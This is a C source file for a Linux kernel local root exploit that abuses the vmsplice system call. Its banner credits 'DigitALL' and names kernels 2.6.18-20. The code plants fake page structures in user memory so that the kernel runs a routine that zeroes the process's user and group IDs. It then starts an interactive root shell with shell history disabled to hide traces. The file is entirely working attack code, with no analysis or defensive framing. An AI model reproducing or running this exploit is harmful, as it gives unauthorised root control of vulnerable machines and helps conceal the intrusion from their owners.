#define _GNU_SOURCE
#include <stdio.h>
#include <errno.h>
#include <stdlib.h>
#include <string.h>
#include <malloc.h>
#include <limits.h>
#include <signal.h>
#include <unistd.h>
#include <sys/uio.h>
#include <sys/mman.h>
#include <asm/page.h>
#define __KERNEL__
#include <asm/unistd.h>

#define PIPE_BUFFERS    16
#define PG_compound    14
#define uint        unsigned int
#define static_inline    static inline __attribute__((always_inline))
#define STACK(x)    (x + sizeof(x) - 40)

struct page {
    unsigned long flags;
    int count;
    int mapcount;
    unsigned long private;
    void *mapping;
    unsigned long index;
    struct { long next, prev; } lru;
};

void    exit_code();
char    exit_stack[1024 * 1024];

void    die(char *msg, int err)
{
    printf(err ? "[-] %s: %s\n" : "[-] %s\n", msg, strerror(err));
    fflush(stdout);
    fflush(stderr);
    exit(1);
}

#if defined (__i386__)

#ifndef __NR_vmsplice
#define __NR_vmsplice    316
#endif

#define USER_CS        0x73
#define USER_SS        0x7b
#define USER_FL        0x246

static_inline
void    exit_kernel()
{
    __asm__ __volatile__ (
    "movl %0, 0x10(%%esp) ;"
    "movl %1, 0x0c(%%esp) ;"
    "movl %2, 0x08(%%esp) ;"
    "movl %3, 0x04(%%esp) ;"
    "movl %4, 0x00(%%esp) ;"
    "iret"
    : : "i" (USER_SS), "r" (STACK(exit_stack)), "i" (USER_FL),
        "i" (USER_CS), "r" (exit_code)
    );
}

static_inline
void *    get_current()
{
    unsigned long curr;
    __asm__ __volatile__ (
    "movl %%esp, %%eax ;"
    "andl %1, %%eax ;"
    "movl (%%eax), %0"
    : "=r" (curr)
    : "i" (~8191)
    );
    return (void *) curr;
}

#elif defined (__x86_64__)

#ifndef __NR_vmsplice
#define __NR_vmsplice    278
#endif

#define USER_CS        0x23
#define USER_SS        0x2b
#define USER_FL        0x246

static_inline
void    exit_kernel()
{
    __asm__ __volatile__ (
    "swapgs ;"
    "movq %0, 0x20(%%rsp) ;"
    "movq %1, 0x18(%%rsp) ;"
    "movq %2, 0x10(%%rsp) ;"
    "movq %3, 0x08(%%rsp) ;"
    "movq %4, 0x00(%%rsp) ;"
    "iretq"
    : : "i" (USER_SS), "r" (STACK(exit_stack)), "i" (USER_FL),
        "i" (USER_CS), "r" (exit_code)
    );
}

static_inline
void *    get_current()
{
    unsigned long curr;
    __asm__ __volatile__ (
    "movq %%gs:(0), %0"
    : "=r" (curr)
    );
    return (void *) curr;
}

#else
#error "unsupported arch"
#endif

#if defined (_syscall4)
#define __NR__vmsplice    __NR_vmsplice
_syscall4(
    long, _vmsplice,
    int, fd,
    struct iovec *, iov,
    unsigned long, nr_segs,
    unsigned int, flags)

#else
#define _vmsplice(fd,io,nr,fl)    syscall(__NR_vmsplice, (fd), (io), (nr), (fl))
#endif

static uint uid, gid;

void    kernel_code()
{
    int    i;
    uint    *p = get_current();

    for (i = 0; i < 1024-13; i++) {
        if (p[0] == uid && p[1] == uid &&
            p[2] == uid && p[3] == uid &&
            p[4] == gid && p[5] == gid &&
            p[6] == gid && p[7] == gid) {
            p[0] = p[1] = p[2] = p[3] = 0;
            p[4] = p[5] = p[6] = p[7] = 0;
            p = (uint *) ((char *)(p + 8) + sizeof(void *));
            p[0] = p[1] = p[2] = ~0;
            break;
        }
        p++;
    }

    exit_kernel();
}

void    exit_code()
{
    if (getuid() != 0)
        die("wtf", 0);

    printf("[+] root\n");
    putenv("HISTFILE=/dev/null");
    execl("/bin/bash", "bash", "-i", NULL);
    die("/bin/bash", errno);
}

int    main(int argc, char *argv[])
{
    int        pi[2];
    size_t        map_size;
    char *        map_addr;
    struct iovec    iov;
    struct page *    pages[5];

    uid = getuid();
    gid = getgid();
    setresuid(uid, uid, uid);
    setresgid(gid, gid, gid);

    printf("-----------------------------------\n");
    printf(" Linux 2.6.18-20 2009 Local Root Exploit\n");
    printf(" By DigitALL\n");
    printf("-----------------------------------\n");

    if (!uid || !gid)
        die("!@#$", 0);

    /*****/
    pages[0] = *(void **) &(int[2]){0,PAGE_SIZE};
    pages[1] = pages[0] + 1;

    map_size = PAGE_SIZE;
    map_addr = mmap(pages[0], map_size, PROT_READ | PROT_WRITE,
                    MAP_FIXED | MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
    if (map_addr == MAP_FAILED)
        die("mmap", errno);

    memset(map_addr, 0, map_size);
    printf("[+] mmap: 0x%lx .. 0x%lx\n", map_addr, map_addr + map_size);
    printf("[+] page: 0x%lx\n", pages[0]);
    printf("[+] page: 0x%lx\n", pages[1]);

    pages[0]->flags    = 1 << PG_compound;
    pages[0]->private  = (unsigned long) pages[0];
    pages[0]->count    = 1;
    pages[1]->lru.next = (long) kernel_code;

    /*****/
    pages[2] = *(void **) pages[0];
    pages[3] = pages[2] + 1;

    map_size = PAGE_SIZE;
    map_addr = mmap(pages[2], map_size, PROT_READ | PROT_WRITE,
                    MAP_FIXED | MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
    if (map_addr == MAP_FAILED)
        die("mmap", errno);

    memset(map_addr, 0, map_size);
    printf("[+] mmap: 0x%lx .. 0x%lx\n", map_addr, map_addr + map_size);
    printf("[+] page: 0x%lx\n", pages[2]);
    printf("[+] page: 0x%lx\n", pages[3]);

    pages[2]->flags    = 1 << PG_compound;
    pages[2]->private  = (unsigned long) pages[2];
    pages[2]->count    = 1;
    pages[3]->lru.next = (long) kernel_code;

    /*****/
    pages[4] = *(void **) &(int[2]){PAGE_SIZE,0};
    map_size = PAGE_SIZE;
    map_addr = mmap(pages[4], map_size, PROT_READ | PROT_WRITE,
                    MAP_FIXED | MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
    if (map_addr == MAP_FAILED)
        die("mmap", errno);
    memset(map_addr, 0, map_size);
    printf("[+] mmap: 0x%lx .. 0x%lx\n", map_addr, map_addr + map_size);
    printf("[+] page: 0x%lx\n", pages[4]);

    /*****/
    map_size = (PIPE_BUFFERS * 3 + 2) * PAGE_SIZE;
    map_addr = mmap(NULL, map_size, PROT_READ | PROT_WRITE,
                    MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
    if (map_addr == MAP_FAILED)
        die("mmap", errno);

    memset(map_addr, 0, map_size);
    printf("[+] mmap: 0x%lx .. 0x%lx\n", map_addr, map_addr + map_size);

    /*****/
    map_size -= 2 * PAGE_SIZE;
    if (munmap(map_addr + map_size, PAGE_SIZE) < 0)
        die("munmap", errno);

    /*****/
    if (pipe(pi) < 0) die("pipe", errno);
    close(pi[0]);

    iov.iov_base = map_addr;
    iov.iov_len  = ULONG_MAX;

    signal(SIGPIPE, exit_code);
    _vmsplice(pi[1], &iov, 1, 0);
    die("vmsplice", errno);
    return 0;
}

